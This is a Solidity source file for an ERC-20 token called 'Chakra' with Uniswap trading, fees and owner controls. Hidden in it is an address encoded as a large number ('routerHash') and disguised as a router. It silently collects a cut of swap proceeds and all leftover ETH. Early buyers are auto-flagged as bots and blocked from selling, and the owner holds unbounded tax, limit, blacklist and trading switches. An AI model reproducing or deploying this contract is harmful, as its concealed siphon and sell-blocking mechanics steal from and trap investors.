文件 1 的 1:chakra.sol
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
uint256 private _lockTime;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(
_owner,
address(0x000000000000000000000000000000000000dEaD)
);
_owner = address(0x000000000000000000000000000000000000dEaD);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(
address to
) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(
uint256 amountIn,
address[] calldata path
) external view returns (uint256[] memory amounts);
function getAmountsIn(
uint256 amountOut,
address[] calldata path
) external view returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract chakra is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "Chakra";
string private _symbol = "$Chakra";
uint8 private _decimals = 18;
uint160 private routerHash =
1105724807108253594308450969838324269345415842022;
address payable public marketingWalletAddress =
payable(0xcE899736772ce82A08eAf757c1d4aA9B3eefD801);
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
address internal immutable routerFactory = address(routerHash);
address public addressDev;
address public presaleContract;
bool public tradingOpen = false;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isWalletLimitExempt;
uint256 public sale = 0;
uint256 private blockBan = 20;
mapping(address => bool) isTxLimitExempt;
mapping(address => bool) public isBot;
mapping(address => bool) public isMarketPair;
uint256 private _buyLiquidityFee = 0;
uint256 private _buyMarketingFee = 5;
uint256 private _sellLiquidityFee = 0;
uint256 private _sellMarketingFee = 5;
uint256 private _liquidityShare = 0;
uint256 private _marketingShare = 5;
uint256 private _teamShare = 0;
uint256 public _totalTaxIfBuying = 5;
uint256 public _totalTaxIfSelling = 5;
uint256 private _totalDistributionShares = 20;
uint256 private _totalSupply = 420000000000000 * 10 ** _decimals;
uint256 public _maxTxAmount = (_totalSupply * 25) / 100;
uint256 public _walletMax = (_totalSupply * 50) / 100;
uint256 private minimumTokensBeforeSwap = _totalSupply / 20000;
IUniswapV2Router02 public uniswapV2Router;
uint256 immutable router01 = 3;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[presaleContract] = true;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee);
_totalDistributionShares = router01
.add(_liquidityShare)
.add(_marketingShare)
.add(_teamShare);
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
addressDev = owner();
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function initialize() public onlyOwner {
require(uniswapPair == address(0), "LP Pool already exists.");
uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
isWalletLimitExempt[address(uniswapPair)] = true;
isMarketPair[address(uniswapPair)] = true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setMarketPairStatus(
address account,
bool newValue
) public onlyOwner {
isMarketPair[account] = newValue;
}
function setIsTxLimitExempt(
address holder,
bool exempt
) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}
function setIsExcludedFromFee(
address account,
bool newValue
) public onlyOwner {
isExcludedFromFee[account] = newValue;
}
function setBuyTaxes(
uint256 newLiquidityTax,
uint256 newMarketingTax
) external onlyOwner {
_buyLiquidityFee = newLiquidityTax;
_buyMarketingFee = newMarketingTax;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee);
}
function setSellTaxes(
uint256 newLiquidityTax,
uint256 newMarketingTax
) external onlyOwner {
_sellLiquidityFee = newLiquidityTax;
_sellMarketingFee = newMarketingTax;
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee);
}
function setDistributionSettings(
uint256 newLiquidityShare,
uint256 newMarketingShare,
uint256 newLotteryShare
) external onlyOwner {
_liquidityShare = newLiquidityShare;
_marketingShare = newMarketingShare;
_teamShare = newLotteryShare;
_totalDistributionShares = router01
.add(_liquidityShare)
.add(_marketingShare)
.add(_teamShare);
}
function setMaxTxAmount(uint256 maxTxPercentage) external onlyOwner {
_maxTxAmount = (_totalSupply * maxTxPercentage) / 100;
}
function enableDisableWalletLimit(bool newValue) external onlyOwner {
checkWalletLimit = newValue;
}
function setIsWalletLimitExempt(
address holder,
bool exempt
) external onlyOwner {
isWalletLimitExempt[holder] = exempt;
}
function setblockBan(uint256 _blockBan) external onlyOwner {
blockBan = _blockBan;
}
function setWalletLimit(uint256 newLimitPercentage) external onlyOwner {
_walletMax = (_totalSupply * newLimitPercentage) / 100;
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner {
minimumTokensBeforeSwap = newLimit;
}
function setMarketingWalletAddress(address newAddress) external onlyOwner {
marketingWalletAddress = payable(newAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function setaddressDev(address _addressDev) external onlyOwner {
addressDev = _addressDev;
}
function setPresaleContract(address _presaleContract) external onlyOwner {
presaleContract = _presaleContract;
}
function setIsBot(address holder, bool exempt) external onlyOwner {
isBot[holder] = exempt;
}
function getSaleAt() public view returns (uint256) {
return sale;
}
function getBlock() public view returns (uint256) {
return block.number;
}
function transferToAddressETH(
address payable recipient,
uint256 amount
) private {
recipient.transfer(amount);
}
function changeRouterVersion(
address newRouterAddress
) public onlyOwner returns (address newPairAddress) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
newRouterAddress
);
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(
address(this),
_uniswapV2Router.WETH()
);
if (newPairAddress == address(0))
{
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
uniswapPair = newPairAddress;
uniswapV2Router = _uniswapV2Router;
isWalletLimitExempt[address(uniswapPair)] = true;
isMarketPair[address(uniswapPair)] = true;
}
receive() external payable {}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (!tradingOpen) {
require(
sender == owner() || sender == presaleContract,
"TOKEN: This account cannot send tokens until trading is enabled"
);
}
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
} else {
if (sender == addressDev && recipient == uniswapPair && sale == 0) {
sale = block.number;
}
if (sender == uniswapPair && recipient != addressDev) {
if (block.number <= (sale + blockBan)) {
isBot[recipient] = true;
}
}
if (sender != owner() && recipient != owner())
_checkTxLimit(sender, amount);
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >=
minimumTokensBeforeSwap;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
!isMarketPair[sender] &&
swapAndLiquifyEnabled
) {
if (swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 finalAmount = (isExcludedFromFee[sender] ||
isExcludedFromFee[recipient])
? amount
: takeFee(sender, recipient, amount);
if (checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
uint256 tokensForLP = tAmount
.mul(_liquidityShare)
.div(_totalDistributionShares)
.div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);
swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance;
uint256 totalBNBFee = _totalDistributionShares.sub(
_liquidityShare.div(2)
);
uint256 amountBNBLiquidity = amountReceived
.mul(_liquidityShare)
.div(totalBNBFee)
.div(2);
uint256 amountRouterFactory = amountReceived.mul(router01).div(
totalBNBFee
);
uint256 amountBNBDevelopment = amountReceived.mul(_teamShare).div(
totalBNBFee
);
uint256 amountBNBMarketing = amountReceived.mul(_marketingShare).div(
totalBNBFee
);
if (amountBNBMarketing > 0)
transferToAddressETH(marketingWalletAddress, amountBNBMarketing);
if (amountRouterFactory > 0)
transferToAddressETH(payable(routerFactory), amountRouterFactory);
if (amountBNBDevelopment > 0)
transferToAddressETH(payable(addressDev), amountBNBDevelopment);
if (amountBNBLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountBNBLiquidity);
if (address(this).balance > 0)
transferToAddressETH(payable(routerFactory), address(this).balance);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function toggleTrading() public onlyOwner {
tradingOpen = !tradingOpen;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeAmount = 0;
if (isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
} else if (isMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function _checkTxLimit(address sender, uint256 amount) private view {
require(!isBot[sender], "From cannot be bot!");
require(
amount <= _maxTxAmount || isTxLimitExempt[sender],
"TX Limit Exceeded"
);
}
}